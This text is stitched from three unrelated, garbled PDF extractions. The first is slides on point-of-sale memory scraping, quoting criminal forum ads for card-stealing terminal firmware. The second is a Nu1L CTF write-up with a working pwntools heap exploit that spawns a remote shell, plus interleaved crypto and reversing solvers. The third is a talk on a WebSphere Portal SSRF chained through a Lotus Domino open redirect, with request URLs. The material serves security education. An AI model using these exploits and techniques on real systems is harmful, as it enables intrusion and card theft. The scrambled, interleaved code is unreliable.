Payment Stages - Settlement
42
Processor
Issuer
Gateway
Acquirer
Transmit
Settlement
Store & Send PANs
PA Server
Credit Merchant’s Account
Difficult
Exploitation
Payment Stages - Settlement
43
44
Memory Scraping
Demo
45
46
47
Offline
Online
VS
Bypassed Solutions
49
50
SecureString Class
Demo
51
Next Next Next Next
Next Generation Firewall
52
ANTI*
53
54
Whitelist
MD5
SHA256
Correct Solutions
55
56
Cyber
Intelligence
57
I have access to POS terminals in the US,
what is the best malware I should use?
58
You need to infect the firmware of the terminal.
By doing that, you can get full track 1 + 2,
but the PIN will be hashed.
59
Selling malicious firmware for Verifone’s POS terminals.
Leaks dumps + PINs through GPRS.
Price: Only 700$
60
Business Development Offer
Owner of a fake POS sells his terminal.
Price: 50% from revenue sharing.
61
RFI: Change terminal configuration to require PIN for all cards.
Cause: Get only 101 data, but wants PINs
Proposed Solution:
Thermal Imager
62
Sandbox
63
Network-based
Anomaly Detection
64
Operating System
Anomaly Detection
65
Runtime Obfuscation
Not only products required
66
67
68
Performance
Security
69
Assembly
Signing
70
Assembly Obfuscation
PROCESS ISOLATION
What Next
72
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
What Would You Steal?
BIP BIP
74
Memory
Scraping
75
Memory
Scraping
Cashier = hacker
76
Memory
Scraping
Summary
77
78
Memory
Scraping
Security by Obscurity
79
Memory
Scraping
Simple Exploitation
80
Memory
Scraping
Hard to Protect
81
Memory
Scraping
You’re Insured
Nir Valtman
W : www.valtman.org
. : @ValtmaNir | pdf |
WriteUp By Nu1L
Author:Nu1L
WriteUp By Nu1L
PWN
Honorbook
Reverse
print
mips
pypy
WEB
babyphp
Crypto
RRSSAA
combinelfsr
rw
aes_baby
PWN
Honorbook
risc-vpwnghidra
addoff-by-one
0x300xf0,overlap
from pwn import *
s = remote("121.36.192.114","9999")
# s = process("./qemu-riscv64 -g 1234 -L ./libs ./honorbook",shell=True)
# s = process("./qemu-riscv64 -L ./libs ./honorbook",shell=True)
def add(idx,name,msg):
s.sendlineafter("Code:","1")
s.sendlineafter("ID:",str(idx))
s.sendlineafter("User name: ",name)
s.sendafter("Msg: ",msg)
def show(idx):
s.sendlineafter("Code:","3")
s.sendlineafter("ID:",str(idx))
def free(idx):
s.sendlineafter("Code:","2")
s.sendlineafter("ID:",str(idx))
def edit(idx,buf):
s.sendlineafter("Code:","4")
s.sendlineafter("Index:",str(idx))
s.sendafter("Msg: ",buf)
for i in range(0x10):
add(i,'1',"\n")
for i in range(0xf):
free(i)
s.sendline('1'*0x500)
for i in range(7):
add(i,'1',"\n")
add(10,'\n','\n')
context.log_level='debug'
show(10)
s.recvuntil("Msg: ")
tmp = u64(s.recv(3).ljust(8,'\x00'))
success(hex(tmp))
libc = ELF('./libs/lib/libc-2.27.so')
libc.address = tmp-0x10790a+0x4000000000
success(hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add(0x10,'1','1\n')
add(0x11,'2','2\n')
add(0x12,'3',(p64(0x21)*2)*10+'\n')
add(0x13,'4','4\n')
free(0x10)
add(0x10,'1','A'*0xe8+'\xf1')
free(0x13)
free(0x11)
add(0x14,'5','A'*0x20+p64(0)+p64(0xf1)+p64(free_hook)+'\n')
add(0x15,'6','/bin/sh\x00\n')
add(0x16,'7',p64(system)+'\n')
free(0x15)
s.interactive()
Reverse
print
https://hackmd.io/@Lays/SkKL68GIe?type=view#%F0%9F%94%84-R
everse-500---printbf brainfuckbrainfuck2c
1266
6
from pwn import *
context.log_level = 'debug'
import os
cl = 'e_C0d3'
cl1 = [
['G','g'],
['i','1','I'],
['V','v'],
['e','3','E'],
['_'],
['M','m']
]
cl2 = [
['5'],
['h','H'],
['o','0','O'],
['w','W'],
['_'],
['M','m']
]
#revers
cl1 = [
['r','R'],
['e','E','3'],
['v','V'],
['e','E','3'],
['R','r'],
['s','S','5']
]
for j0 in cl1[0]:
for j1 in cl1[1]:
for j2 in cl1[2]:
for j3 in cl1[3]:
for j4 in cl1[4]:
for j5 in cl1[5]:
i = j0+j1+j2+j3+j4+j5 + cl
R3veRSe_C0d3flag
mips
pypy
Pyinstaller main.py
# i = i.bytes()
# p = subprocess.run('./aaa',stdin=BytesIO(i))
# p = remote('121.37.182.111', 6666)
print(i)
os.system('echo {0} > input'.format(i))
os.system('./print < input')
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18)
[MSC v.1900 64 bit (AMD64)]
# Embedded file name: main.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 257 bytes
import random, codecs, sys, time, pygame
from pygame.locals import *
from collections import deque
SCREEN_WIDTH = 600
SCREEN_HEIGHT = 480
SIZE = 20
LINE_WIDTH = 1
flag = 'flag{this is a fake flag}'
SCOPE_X = (0, SCREEN_WIDTH // SIZE - 1)
SCOPE_Y = (2, SCREEN_HEIGHT // SIZE - 1)
FOOD_STYLE_LIST = [(10, (255, 100, 100)), (20, (100, 255, 100)), (30, (100,
100, 255))]
LIGHT = (100, 100, 100)
DARK = (200, 200, 200)
BLACK = (0, 0, 0)
RED = (200, 30, 30)
BGCOLOR = (40, 40, 60)
def print_text(OO0O0OOO0OO0OOOOO, OOO00O0OOO0OO0O00, O0OOOO00000O0OOOO,
OO00OO0O0OOOOO000, OO0O00O00O000OOO0, fcolor=(255, 255, 255)):
O0O0OO0O00O0OO0OO = OOO00O0OOO0OO0O00.render(OO0O00O00O000OOO0, True,
fcolor)
OO0O0OOO0OO0OOOOO.blit(O0O0OO0O00O0OO0OO, (O0OOOO00000O0OOOO,
OO00OO0O0OOOOO000))
def init_snake():
OOO00OO00OO0000OO = deque()
OOO00OO00OO0000OO.append((2, SCOPE_Y[0]))
OOO00OO00OO0000OO.append((1, SCOPE_Y[0]))
OOO00OO00OO0000OO.append((0, SCOPE_Y[0]))
return OOO00OO00OO0000OO
def create_food(O00O0OOOOOOOOOOOO):
OOO0O0OOOOOOO0OOO = random.randint(SCOPE_X[0], SCOPE_X[1])
O0O00OO0OOOO0O0OO = random.randint(SCOPE_Y[0], SCOPE_Y[1])
while (OOO0O0OOOOOOO0OOO, O0O00OO0OOOO0O0OO) in O00O0OOOOOOOOOOOO:
OOO0O0OOOOOOO0OOO = random.randint(SCOPE_X[0], SCOPE_X[1])
O0O00OO0OOOO0O0OO = random.randint(SCOPE_Y[0], SCOPE_Y[1])
return (
OOO0O0OOOOOOO0OOO, O0O00OO0OOOO0O0OO)
def get_food_style():
return FOOD_STYLE_LIST[random.randint(0, 2)]
DEFAULT_KEY = 'Yó\x02Ã%\x9a\x820\x0b»%\x7f~;ÒÜ'
def rc4(O0O0O0000O0OOOO0O, key=DEFAULT_KEY, skip=1024):
O00OOOOOOO00OO00O = 0
OO0OOOO0000OO00OO = bytearray([OO00OOOO0OOOOO00O for OO00OOOO0OOOOO00O in
range(256)])
O00OOOOOOO00OO00O = 0
for OOOO000OOO00O000O in range(256):
O00OOOOOOO00OO00O = (O00OOOOOOO00OO00O +
OO0OOOO0000OO00OO[OOOO000OOO00O000O] + ord(key[(OOOO000OOO00O000O %
len(key))])) % 256
OO000O0O0OOOOO0OO = OO0OOOO0000OO00OO[OOOO000OOO00O000O]
O000O0OO00O00000O = OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
OO0OOOO0000OO00OO[OOOO000OOO00O000O] =
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O] = OO000O0O0OOOOO0OO
else:
O00OOOOOOO00OO00O = 0
O0O0OO0OO00OOOOO0 = 0
OO0OOO000000OO0O0 = []
if skip > 0:
for OOOO000OOO00O000O in range(skip):
O00OOOOOOO00OO00O = (O00OOOOOOO00OO00O + 1) % 256
O0O0OO0OO00OOOOO0 = (O0O0OO0OO00OOOOO0 +
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]) % 256
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],
OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0] = OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
for O0000O0OOO000OO0O in O0O0O0000O0OOOO0O:
O00OOOOOOO00OO00O = (O00OOOOOOO00OO00O + 1) % 256
O0O0OO0OO00OOOOO0 = (O0O0OO0OO00OOOOO0 +
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]) % 256
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],
OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0] = OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
O0O0OOOO0OOOOO0OO =
OO0OOOO0000OO00OO[((OO0OOOO0000OO00OO[O00OOOOOOO00OO00O] +
OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0]) % 256)]
OO0OOO000000OO0O0.append(chr(ord(O0000O0OOO000OO0O) ^
O0O0OOOO0OOOOO0OO))
else:
return ''.join(OO0OOO000000OO0O0)
def func(O0O0O0OO00O00OOO0):
O000OOOO0O00OO000 = rc4(O0O0O0OO00O00OOO0)
if O000OOOO0O00OO000.encode('utf-8').hex() ==
'275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7e
c2a5c2a0':
return 'YOU WIN'
return 'YOU LOSE'
def main():
pygame.init()
O00O000OOO000000O = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
pygame.display.set_caption('')
O00OOO0O00OOO000O = pygame.font.SysFont('SimHei', 24)
OO0OO000OO0O0O00O = pygame.font.Font(None, 72)
OOOO00OO0O0O00000, OO00O00OOOOO000O0 = OO0OO000OO0O0O00O.size('GAME OVER')
O0000O000OOOO0OO0 = True
OO0O000000OO0O000 = init_snake()
OOOO00OOO00O0O0OO = create_food(OO0O000000OO0O000)
OOO00OO000000O000 = get_food_style()
O00OOOO00O0O0OO0O = (1, 0)
O0OO0000O000OOO00 = True
OO000OOO0O000O00O = False
O0OO0OO0O0O000O00 = 0
OOO0OOOOOO0O0OOO0 = 0.5
OOO00OOO0O0O00OOO = OOO0OOOOOO0O0OOO0
OOOOOOO0O0OO0OO00 = False
OO000OOOOO00O00OO = False
for OOOO0OO00000OO00O in pygame.event.get():
if OOOO0OO00000OO00O.type == QUIT:
sys.exit()
elif OOOO0OO00000OO00O.type == KEYDOWN:
if OOOO0OO00000OO00O.key == K_RETURN:
if O0OO0000O000OOO00:
OO000OOO0O000O00O = True
O0OO0000O000OOO00 = False
O0000O000OOOO0OO0 = True
OO0O000000OO0O000 = init_snake()
OOOO00OOO00O0O0OO = create_food(OO0O000000OO0O000)
OOO00OO000000O000 = get_food_style()
O00OOOO00O0O0OO0O = (1, 0)
O0OO0OO0O0O000O00 = 0
OOOOOOO0O0OO0OO00 = time.time()
elif OOOO0OO00000OO00O.key == K_SPACE:
if not O0OO0000O000OOO00:
OO000OOOOO00O00OO = not OO000OOOOO00O00OO
elif OOOO0OO00000OO00O.key in (K_w, K_UP):
if O0000O000OOOO0OO0:
O00OOOO00O0O0OO0O = O00OOOO00O0O0OO0O[1] or (0, -1)
O0000O000OOOO0OO0 = False
elif OOOO0OO00000OO00O.key in (K_s, K_DOWN):
if O0000O000OOOO0OO0:
O00OOOO00O0O0OO0O = O00OOOO00O0O0OO0O[1] or (0, 1)
O0000O000OOOO0OO0 = False
elif OOOO0OO00000OO00O.key in (K_a, K_LEFT):
if O0000O000OOOO0OO0:
if not O00OOOO00O0O0OO0O[0]:
O00OOOO00O0O0OO0O = (-1, 0)
O0000O000OOOO0OO0 = False
elif OOOO0OO00000OO00O.key in (K_d, K_RIGHT):
if O0000O000OOOO0OO0:
if not O00OOOO00O0O0OO0O[0]:
O00OOOO00O0O0OO0O = (1, 0)
O0000O000OOOO0OO0 = False
else:
O00O000OOO000000O.fill(BGCOLOR)
for O00O0OOOO0OO0000O in range(SIZE, SCREEN_WIDTH, SIZE):
pygame.draw.line(O00O000OOO000000O, BLACK, (O00O0OOOO0OO0000O,
SCOPE_Y[0] * SIZE), (O00O0OOOO0OO0000O, SCREEN_HEIGHT), LINE_WIDTH)
else:
for OO0000O0000OO0000 in range(SCOPE_Y[0] * SIZE,
SCREEN_HEIGHT, SIZE):
pygame.draw.line(O00O000OOO000000O, BLACK, (0,
OO0000O0000OO0000), (SCREEN_WIDTH, OO0000O0000OO0000), LINE_WIDTH)
else:
O0O0O0O00OOO0OOO0 = O0OO0000O000OOO00 or time.time()
if O0O0O0O00OOO0OOO0 - OOOOOOO0O0OO0OO00 > OOO00OOO0O0O00OOO and
not OO000OOOOO00O00OO:
O0000O000OOOO0OO0 = True
OOOOOOO0O0OO0OO00 = O0O0O0O00OOO0OOO0
O0O00OO0OO000OOOO = (OO0O000000OO0O000[0][0] +
O00OOOO00O0O0OO0O[0], OO0O000000OO0O000[0][1] + O00OOOO00O0O0OO0O[1])
if O0O00OO0OO000OOOO == OOOO00OOO00O0O0OO:
OO0O000000OO0O000.appendleft(O0O00OO0OO000OOOO)
O0OO0OO0O0O000O00 += OOO00OO000000O000[0]
OOO00OOO0O0O00OOO = OOO0OOOOOO0O0OOO0 - 0.03 *
(O0OO0OO0O0O000O00 // 100)
OOOO00OOO00O0O0OO = create_food(OO0O000000OO0O000)
OOO00OO000000O000 = get_food_style()
else:
if SCOPE_X[0] <= O0O00OO0OO000OOOO[0] <= SCOPE_X[1]:
if SCOPE_Y[0] <= O0O00OO0OO000OOOO[1] <= SCOPE_Y[1]:
if O0O00OO0OO000OOOO not in OO0O000000OO0O000:
OO0O000000OO0O000.appendleft(O0O00OO0OO000OOOO)
OO0O000000OO0O000.pop()
else:
O0OO0000O000OOO00 = True
if not O0OO0000O000OOO00:
pygame.draw.rect(O00O000OOO000000O,
OOO00OO000000O000[1], (OOOO00OOO00O0O0OO[0] * SIZE, OOOO00OOO00O0O0OO[1] *
SIZE, SIZE, SIZE), 0)
for OO00OOO00OOO00000 in OO0O000000OO0O000:
pygame.draw.rect(O00O000OOO000000O, DARK,
(OO00OOO00OOO00000[0] * SIZE + LINE_WIDTH, OO00OOO00OOO00000[1] * SIZE +
LINE_WIDTH, SIZE - LINE_WIDTH * 2, SIZE - LINE_WIDTH * 2), 0)
else:
print_text(O00O000OOO000000O, O00OOO0O00OOO000O, 30, 7,
f"speed: {O0OO0OO0O0O000O00 // 100}")
print_text(O00O000OOO000000O, O00OOO0O00OOO000O, 450, 7,
f"score: {O0OO0OO0O0O000O00}")
if O0OO0OO0O0O000O00 >= 5192296858534827628530496329220096:
OO0O0OO0OO0O0000O = flag
print_text(O00O000OOO000000O, OO0OO000OO0O0O00O,
(SCREEN_WIDTH - OOOO00OO0O0O00000) // 2, (SCREEN_HEIGHT - OO00O00OOOOO000O0) //
2, func(OO0O0OO0OO0O0000O), RED)
if O0OO0000O000OOO00:
if OO000OOO0O000O00O:
print_text(O00O000OOO000000O, OO0OO000OO0O0O00O,
(SCREEN_WIDTH - OOOO00OO0O0O00000) // 2, (SCREEN_HEIGHT - OO00O00OOOOO000O0) //
2, 'GAME OVER', RED)
pygame.display.update()
if __name__ == '__main__':
main()
flagRC4RC4Flag Python3Python2
UTF-8
# -*- coding: utf-8 -*-
import base64
import fuckpy3
DEFAULT_KEY = 'Yó\x02Ã%\x9a\x820\x0b»%\x7f~;ÒÜ'
def rc4(O0O0O0000O0OOOO0O, key=DEFAULT_KEY, skip=1024):
O00OOOOOOO00OO00O = 0
OO0OOOO0000OO00OO = bytearray([OO00OOOO0OOOOO00O for OO00OOOO0OOOOO00O in
range(256)])
O00OOOOOOO00OO00O = 0
for OOOO000OOO00O000O in range(256):
O00OOOOOOO00OO00O = (O00OOOOOOO00OO00O +
OO0OOOO0000OO00OO[OOOO000OOO00O000O] + ord(key[(OOOO000OOO00O000O %
len(key))])) % 256
OO000O0O0OOOOO0OO = OO0OOOO0000OO00OO[OOOO000OOO00O000O]
O000O0OO00O00000O = OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
OO0OOOO0000OO00OO[OOOO000OOO00O000O] =
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O] = OO000O0O0OOOOO0OO
else:
O00OOOOOOO00OO00O = 0
O0O0OO0OO00OOOOO0 = 0
OO0OOO000000OO0O0 = []
if skip > 0:
for OOOO000OOO00O000O in range(skip):
O00OOOOOOO00OO00O = (O00OOOOOOO00OO00O + 1) % 256
O0O0OO0OO00OOOOO0 = (O0O0OO0OO00OOOOO0 +
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]) % 256
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],
OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0] = OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
for O0000O0OOO000OO0O in O0O0O0000O0OOOO0O:
O00OOOOOOO00OO00O = (O00OOOOOOO00OO00O + 1) % 256
O0O0OO0OO00OOOOO0 = (O0O0OO0OO00OOOOO0 +
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]) % 256
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],
OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0] = OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],
OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
O0O0OOOO0OOOOO0OO =
OO0OOOO0000OO00OO[((OO0OOOO0000OO00OO[O00OOOOOOO00OO00O] +
OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0]) % 256)]
OO0OOO000000OO0O0.append(chr(ord(O0000O0OOO000OO0O) ^
O0O0OOOO0OOOOO0OO))
else:
WEB
babyphp
Google Search github https://github.com/xl7dev/WebShell/blob/master/Ph
p/scanner.php
return ''.join(OO0OOO000000OO0O0)
testkey = 'a'*0x20
testdata = 'b'*0x20
cipher =
'275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7e
c2a5c2a0'.unhex().decode('utf-8')
# def func(O0O0O0OO00O00OOO0):
# O000OOOO0O00OO000 = rc4(O0O0O0OO00O00OOO0)
# if O000OOOO0O00OO000.encode('utf-8').hex() ==
'275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7e
c2a5c2a0':
# return 'YOU WIN'
# return 'YOU LOSE'
res = rc4(cipher)
# flag{snake_bao_is_really_lucky}
function getHtmlContext($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
global $header;
if ($result) {
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = explode("\r\n", substr($result, 0, $headerSize));
$body = substr($result, $headerSize);
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
return $body;
File_get_contents
vps
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location");
if (strpos(getHeader("Location"), 'http://') == false) {
$location = getHost($url) . $location;
}
return getHtmlContext($location);
}
return NULL;
}
function getHost($url)
{
preg_match("/^(http:\/\/)?([^\/]+)/i", $url, $matches);
return $matches[0];
}
function getCss($host, $html)
{
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",
$html, $matches);
print_r($matches);
foreach ($matches[1] as $v) {
$cssurl = $v;
if (strpos($v, 'http://') == false) {
$cssurl = $host . "/" . $v;
}
$csshtml = "<style>" . file_get_contents($cssurl) . "</style>";
$html .= $csshtml;
}
return $html;
}
if ($url != null) {
$host = getHost($url);
echo $host."</br>";
echo getCss($host, getHtmlContext($url));
}
Crypto
RRSSAA
from Crypto.Util.number import isPrime
from Crypto.Util.number import *
from gmpy2 import next_prime, invert, gcd, jacobi, powmod, iroot
import math
n1 =
7296833146437859657873621309783663953888975990236533231501856312811032923469834
0288949958887638828272808811489147149910844881732898599415772529999325992095319
1285447232621193626481596558259180977031977971252757217415256081982859724158327
8731544411246154674514626001858732363262751244419415544407653873858309154132440
262888841600498885105451586030156787
os =
2966384769329081457959929210854946307725303451729041111756565081822209869706734
8470774040638374545482380962278433814588423220351160599355457893703887679991323
47222281376931478665079
n2 =
8799438599707547810413590252769637047669730373282934937368515093438977181200080
0579489779988597377758155357032119662485786694473083701713238817766110307526481
3548019687916249789646432293683345877522755062343500052761478105552414593635335
7662536280470664112516976033358499330391929435857811788923590666783090016628619
936968367309955759172412259970189158362661969
n3 =
2450273093965540729254343689738219629751666422727332060239790687869672337224287
7776550446563950867624819352853122033114711732125433588724779869985477495098802
7443444489150326074699546422578258559318722819082323316238297250430318005357394
3213394860744836264120403454658144490440875489203711003120257346339920162581200
5615264689877537231974023870006792196961829162058446662172634212427186470724599
9413528305460437729692977332395186047493666841638137959996257849313751101378051
43337329
c3 =
2385064917660948806957457681641614888669217960607006360543268900921017481245498
5632639914109186048913143848105334392538145230671686367689762200590281089005923
2311952465790336469770032914545351776909326505271520462587023228820342754515098
3037310876534801548309890853026234248412421497939811385725642492104262954059677
7935387076042051793448841426568428955677950006478374618351793957423993726834602
0827131088465727989353253912189355814302993379490547089912763278011045912220379
6256514
m =
8122573882816664059905415402318346587067896090676967360535808452919687117442942
7936591822589995476552044227730868809310992934103731850597399114246762836121101
3483010792966639515036880722995423570130933247188509369252659542049736344708361
87733828189312553819810470405246669124171178070485118436102895117354417
men3 =
2223858574968933504319836040365324804971094330459462393944127171432282147604729
8977043454290592085809700500599520080107736858423927071836758485527270617538166
0452133866799616642403068831262241691836491409291683436342456375784878509459866
8876885795408211613686469658206698800530604510586036849762682266643367887969834
4619056273526837700698315346972423482713305543394110949178233504551465821354514
5351553890871388675765321397392709608232948734978250409638627517729140877418314
03951901
c0 = (pow(invert(m, n3), 3, n3)*men3) % n3
p = gcd(c0 - m**4, n3)
q = n3//p
assert p*q == n3
phi3 = (p-1)*(q-1)
# for s in range(2, 1024):
# if isPrime(s):
# if(gcd(s, p-1) == 1):
# sinv = invert(s, p-1)
# e = 4*s*sinv+3
# if(gcd(phi3, e) == 1) and pow(m, e, n3) == men3:
# print(e)
# break
e =
1238419093611284584432232492872571809868775483297315378237144063776322395466016
3376160801730552543302364965225321730703720886202083107309525500846264215867190
6878720312050776177834213726024951130777509918099166786617739404924137915186815
43351943
c2 = pow(c3, inverse(e, phi3), n3)
# t = n2//os - os
# def f1(x, y): return pow(x * y - t, 2) - 4 * os * x * y
# def f2(x, y, s): return (t - x * y - s) // (2 * x)
# token = 0
# for x in range(1, 3000):
# if token == 1:
# break
# for y in range(1, 3000):
# if f1(x, y) >= 0:
# s, b = iroot(f1(x, y), 2)
# if b:
# if isPrime(f2(x, y, int(s))):
# p = f2(x, y, int(s))
# token = 1
combinelfsr
https://xz.aliyun.com/t/4630 z3
# print(p)
# break
o =
1676411670285048925942831159178890500305934420821187645050581608997548349732091
194185626951
s = os//o
assert(o*s == os)
t = next_prime(o)
u = next_prime(s)
phi2 = (o-1)*(s-1)*(t-1)*(u-1)
c1 = pow(c2, inverse(65537, phi2), n2)
# factor on https://www.alpertron.com.ar/ECM.HTM
x =
1532475862559167888089449717098486868564837338169781366942603735389113940567854
981202963
y =
3218199311374252564987844405906822423986158410156540870579467844317139275192495
4605262593
z =
1479543829675673344958256023332723030086630911860814739465102996214894567002503
8030648018654063509929678530025486672382773750364459323091677812986032701648425
7850428720933989793
assert x*y*z == n1
phi1 = (x-1)*(y-1)*(z-1)
print(long_to_bytes(pow(c1, inverse(65537, phi1), n1)))
from z3 import *
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
# while i!=0:
for _ in xrange(20):
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
def single_round(R1,R1_mask,R2,R2_mask):
rw
aes_baby
aeskeyaarch64 https://github.com/wolfS
SL/wolfssl/blob/master/wolfcrypt/src/port/arm/armv8-aes.c
(R1_NEW,x1)=lfsr(R1,R1_mask)
(R2_NEW,x2)=lfsr(R2,R2_mask)
# (R3_NEW,x3)=lfsr(R3,R3_mask)
return (R1_NEW,R2_NEW,(x1*x2)^((x2^1)))
with open("./out") as f:
cipher = f.read()
R1 = BitVec('a1',20)
R2 = BitVec('a2',20)
R1_mask=0x30517
R2_mask=0x25b74
bin_c = ''
for i in cipher:
bin_c += bin(ord(i))[2:].rjust(8,'0')
so = Solver()
for i in xrange(192):
R1,R2,cip = single_round(R1,R1_mask,R2,R2_mask)
so.add(int(bin_c[i]) == cip)
print(so.check())
print(so.model())
# len1 = 18
# guess(len1, R1_mask) #76.5625 0x1b9cb
# R1 = 0x01b9cb
#guess(len3, R3_mask) #73.4375 0x16b2f3
# R3 = 0x16b2f3
# print brute_force(R1, R3, len2) #0x5979c | pdf |
Finding 0days in Enterprise Software
Shubham Shah
Hacking HCL Digital Experience also
known as IBM Websphere Portal
What is HCL Digital Experience / IBM Websphere
Portal
• Enterprise content management system.
• Used by medium - large enterprises, and is a very flexible content delivery
application.
• Around 4.5k instances on the internet.
• Often self-hosted on an IBM WebSphere server.
• Widespread usage amongst fortune 500 and in companies running bug
bounties.
IBM WebSphere
• Getting started by running the docker image:
• docker run -p 127.0.0.1:30015:30015 ibmcom/websphere-portal:latest
Decompiling JARs
• find . -type f -name \*.jar -exec tar rf /tmp/outfile2.tar {} \;
• find . -type f -name '*.jar' | xargs -n 1 -P 20 -I {} procyon-decompiler -o
decompiled2 {}
Finding The Attack Surface
• grep -anril ‘<servlet-mapping>' or grep -anril ‘<mapping '
Interesting config file
• PortalServer/base/wp.proxy.config/installableApps/wp.proxy.config.ear/
wp.proxy.config.war/WEB-INF/proxy-config.xml
Finding the endpoint
• One of the hardest bits of source code analysis when finding bugs through
grep is identifying the endpoint that the config files/code are triggered by.
• This one was easy, they were deployed under /wps/*
• i.e. /wps/proxy/, /wps/myproxy/, /wps/common_proxy/, /wps/cmis_proxy/
• But the proxy-config file says that we can only access ibm.com and
redbooks.ibm.com - how are we going to turn this into a full read SSRF?
Chaining a Lotus Domino Open Redirect
• www.redbooks.ibm.com runs Lotus Domino to deliver content to users.
• We must achieve an open URL redirect on www.redbooks.ibm.com to
achieve SSRF to arbitrary hosts.
• After researching Lotus Domino, I noticed some extremely old
documentation around the sign out process.
• This process allows users to be redirected to an arbitrary location after
signing out.
Chaining a Lotus Domino Open Redirect
https://help.hcltechsw.com/dom_designer/9.0.1/appdev/H_ABOUT_URL_COMMANDS_FOR_REQUIRING_AUTHENTICATION.html
Chaining a Lotus Domino Open Redirect
• www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?
Logout&RedirectTo=http://example.com
HTTP/1.1 302 Found
Date: Sun, 01 Aug 2021 06:13:30 GMT
Server: Lotus-Domino
Location: http://example.com
X-Content-Type-Option: nosniff
Strict-Transport-Security: max-age=0
Content-Length: 0
Connection: close
Content-Type: text/html
🤤
Putting it all together
• http://127.0.0.1:30015/wps/proxy/http/www.redbooks.ibm.com/Redbooks.nsf/
RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com
Variant Hunting
• Discovering other occurrences of similar vulnerabilities:
[root@7b10e70c3328 IBM]# find . -type f -name "proxy-config.xml"
./WebSphere/PortalServer/base/wp.proxy.config/installableApps/wp.proxy.config.ear/wp.proxy.config.war/WEB-
INF/proxy-config.xml
./WebSphere/wp_profile/config/cells/dockerCell/applications/PA_WCM_Authoring_UI.ear/deployments/
PA_WCM_Authoring_UI/ilwwcm-authoring.war/WEB-INF/proxy-config.xml
./WebSphere/wp_profile/config/cells/dockerCell/applications/PA_Search_Center.ear/deployments/
PA_Search_Center/searchCenter.war/WEB-INF/proxy-config.xml
./WebSphere/wp_profile/config/cells/dockerCell/applications/AJAX Proxy Configuration.ear/deployments/AJAX
Proxy Configuration/wp.proxy.config.war/WEB-INF/proxy-config.xml
./WebSphere/wp_profile/installedApps/dockerCell/PA_WCM_Authoring_UI.ear/ilwwcm-authoring.war/WEB-INF/proxy-
config.xml
./WebSphere/wp_profile/installedApps/dockerCell/PA_Search_Center.ear/searchCenter.war/WEB-INF/proxy-
config.xml
Variant Hunting
• Discovering other occurrences of similar vulnerabilities:
[root@7b10e70c3328 IBM]# find . -type f -name "proxy-config.xml"
./WebSphere/PortalServer/base/wp.proxy.config/installableApps/wp.proxy.config.ear/wp.proxy.config.war/WEB-
INF/proxy-config.xml
./WebSphere/wp_profile/config/cells/dockerCell/applications/PA_WCM_Authoring_UI.ear/deployments/
PA_WCM_Authoring_UI/ilwwcm-authoring.war/WEB-INF/proxy-config.xml
./WebSphere/wp_profile/config/cells/dockerCell/applications/PA_Search_Center.ear/deployments/
PA_Search_Center/searchCenter.war/WEB-INF/proxy-config.xml
./WebSphere/wp_profile/config/cells/dockerCell/applications/AJAX Proxy Configuration.ear/deployments/AJAX
Proxy Configuration/wp.proxy.config.war/WEB-INF/proxy-config.xml
./WebSphere/wp_profile/installedApps/dockerCell/PA_WCM_Authoring_UI.ear/ilwwcm-authoring.war/WEB-INF/proxy-
config.xml
./WebSphere/wp_profile/installedApps/dockerCell/PA_Search_Center.ear/searchCenter.war/WEB-INF/proxy-
config.xml
omg seriously
• Proxy to any URL with the ability to use all of these methods
<proxy-rules xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
